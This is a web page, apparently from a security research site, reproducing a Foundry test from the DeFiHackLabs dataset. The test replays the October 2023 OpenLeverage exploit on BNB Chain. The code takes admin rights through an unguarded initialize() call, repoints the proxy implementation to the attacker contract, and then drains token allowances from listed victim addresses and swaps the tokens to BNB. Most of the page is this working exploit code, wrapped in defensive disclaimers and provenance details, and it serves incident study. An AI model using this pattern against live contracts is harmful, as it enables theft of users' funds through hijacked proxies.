Public reproduction file
src/test/2023-10/OpenLeverage_exp.sol
Public reproduction file for dataset entry OpenLeverage.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~$8K8// Attacker : https://bscscan.com/address/0x8ebd046992afe07eacce6b9b3878fdb45830f42b9// Attack Contract : https://bscscan.com/address/0x5366c6ba729d9cf8d472500afc1a2976ac2fe9ff10// Vuln Contract : https://bscscan.com/address/0x7bacb1c805cbbf7c4f74556a4b34fde7793d088711// Attack Tx : https://bscscan.com/tx/0xd88f26f2f9145fa413db0cfd5d3eb121e3a50a3fdcee16c9bd4731e68332ce4b13// @Analysis14// https://defimon.xyz/exploit/bsc/0x5366c6ba729d9cf8d472500afc1a2976ac2fe9ff16interface IRewardVaultDelegator {17 function initialize(address bnftRegistry, address vrfCoordinator, uint64 subscriptionId) external;19 function setImplementation(20 address implementation21 ) external;23 function admin() external view returns (address);25 function a(26 address addr27 ) external;28}30contract ContractTest is Test {31 IRewardVaultDelegator private constant RewardVaultDelegator =32 IRewardVaultDelegator(0x7bACB1c805CbbF7c4f74556a4B34FDE7793d0887);33 Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);34 IERC20 private constant RACA = IERC20(0x12BB890508c125661E03b09EC06E404bc9289040);35 IERC20 private constant BUSDT = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);36 IERC20 private constant FLOKI = IERC20(0xfb5B838b6cfEEdC2873aB27866079AC55363D37E);37 IERC20 private constant OLE = IERC20(0xa865197A84E780957422237B5D152772654341F3);38 IERC20 private constant CSIX = IERC20(0x04756126F044634C9a0f0E985e60c88a51ACC206);39 IERC20 private constant BABY = IERC20(0x53E562b9B7E5E94b81f10e96Ee70Ad06df3D2657);40 address private constant openLeverageDeployer = 0xE9547CF7E592F83C5141bB50648317e35D27D29B;41 address private constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;43 function setUp() public {44 vm.createSelectFork("bsc", 32_820_951);45 vm.label(address(RewardVaultDelegator), "RewardVaultDelegator");46 vm.label(address(Router), "Router");47 vm.label(address(RACA), "RACA");48 vm.label(address(BUSDT), "BUSDT");49 vm.label(address(FLOKI), "FLOKI");50 vm.label(address(OLE), "OLE");51 vm.label(address(CSIX), "CSIX");52 vm.label(address(BABY), "BABY");53 vm.label(openLeverageDeployer, "openLeverageDeployer");54 vm.label(WBNB, "WBNB");55 }57 function testExploit() public {58 deal(address(this), 0 ether);59 emit log_named_decimal_uint("Attacker BNB balance before exploit", address(this).balance, 18);61 assertEq(openLeverageDeployer, RewardVaultDelegator.admin());62 emit log_named_address("Original admin address (Open Leverage Deployer)", RewardVaultDelegator.admin());64 // Valid initialize function should have implemented check which restrict function to be called only once65 // 'initialize()' sets admin variable in RewardVaultDelegator contract66 RewardVaultDelegator.initialize(address(this), address(this), uint64(1));68 assertEq(address(this), RewardVaultDelegator.admin());69 emit log_named_address(70 "Admin address after calling initialize func (admin change)", RewardVaultDelegator.admin()71 );73 // setImplementation func have 'onlyAdmin' modifier and at this step attacker can bypass this check74 RewardVaultDelegator.setImplementation(address(this));76 // Calling 'a' will make delegatecall to this contract (implementation contract)77 RewardVaultDelegator.a(address(this));79 emit log_named_decimal_uint("Attacker BNB balance after exploit", address(this).balance, 18);80 }82 function transferFromAndSwapTokensToBNB(address from, address token, address to) internal {83 IERC20(token).approve(address(Router), type(uint256).max);85 if (from != address(0)) {86 uint256 transferAmount = IERC20(token).balanceOf(from);87 uint256 allowance = IERC20(token).allowance(from, address(RewardVaultDelegator));88 if (allowance < transferAmount) {89 transferAmount = allowance;90 }92 IERC20(token).transferFrom(from, address(this), transferAmount);93 }95 address[] memory path = new address[](2);96 path[0] = token;97 path[1] = WBNB;98 Router.swapExactTokensForETHSupportingFeeOnTransferTokens(99 IERC20(token).balanceOf(address(this)), 0, path, to, block.timestamp + 1000100 );101 }103 function a(104 address addr105 ) external {106 address[] memory victims = new address[](6);107 address[] memory tokens = new address[](6);109 victims[0] = 0x2aB372EFd0eE550c1cca6459DDCD45Ba783B242B;110 victims[1] = 0xe83c6E8FeeDDE85E72E810f82ee0943aa14Ed2f6;111 victims[2] = 0x0D413496d1cb149B1526609363359ED398741901;112 victims[3] = 0x3BD0FeC7243B1ba658FAF4bC22663b5AdC04CF04;113 victims[4] = 0x2C8EEDA98a84a393e2DB66B013A0cDCA2F3693f2;114 victims[5] = address(0);116 tokens[0] = address(RACA);117 tokens[1] = address(BUSDT);118 tokens[2] = address(FLOKI);119 tokens[3] = address(OLE);120 tokens[4] = address(CSIX);121 tokens[5] = address(BABY);123 for (uint8 i; i < victims.length; ++i) {124 transferFromAndSwapTokensToBNB(victims[i], tokens[i], addr);125 }126 }128 receive() external payable {}129}Analysis
Dataset entry
Public Foundry test for “OpenLeverage” (2023-10-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
16 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-10/Astrid_exp.solSame month in the dataset · 156 lines
- src/test/2023-10/BelugaDex_exp.solSame month in the dataset · 171 lines
- src/test/2023-10/BH_exp.solSame month in the dataset · 139 lines
- src/test/2023-10/DePayRouter_exp.solSame month in the dataset · 132 lines
- src/test/2023-10/Hopelend_exp.solSame month in the dataset · 240 lines
- src/test/2023-10/kTAF_exp.solSame month in the dataset · 146 lines
- src/test/2023-10/LaEeb_exp.solSame month in the dataset · 50 lines
- src/test/2023-10/MaestroRouter2_exp.solSame month in the dataset · 85 lines
- src/test/2023-10/MicDao_exp.solSame month in the dataset · 109 lines
- src/test/2023-10/Platypus03_exp.solSame month in the dataset · 112 lines
- src/test/2023-10/pSeudoEth_exp.solSame month in the dataset · 79 lines
- src/test/2023-10/StarsArena_exp.solSame month in the dataset · 50 lines
- src/test/2023-10/UniBot_exp.solSame month in the dataset · 80 lines
- src/test/2023-10/WiseLending_exp.solSame month in the dataset · 185 lines
- src/test/2023-10/ZS_exp.solSame month in the dataset · 141 lines
- src/test/2024-04/OpenLeverage2_exp.solSame protocol or name in the dataset · 239 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x8ebd046992afe07eacce6b9b3878fdb45830f42b
- Attack Contract
0x5366c6ba729d9cf8d472500afc1a2976ac2fe9ff
- Attack Tx
0xd88f26f2f9145fa413db0cfd5d3eb121e3a50a3fdcee16c9bd4731e68332ce4b
File record
- Name
- OpenLeverage
- Path
- src/test/2023-10/OpenLeverage_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 94a47f0835975dacca71007e8715965285a28529
- Language
- Solidity
- Size
- 130 lines
- Date
- 2023-10-22
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-10/OpenLeverage_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 94a47f0835975dacca71007e8715965285a28529, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.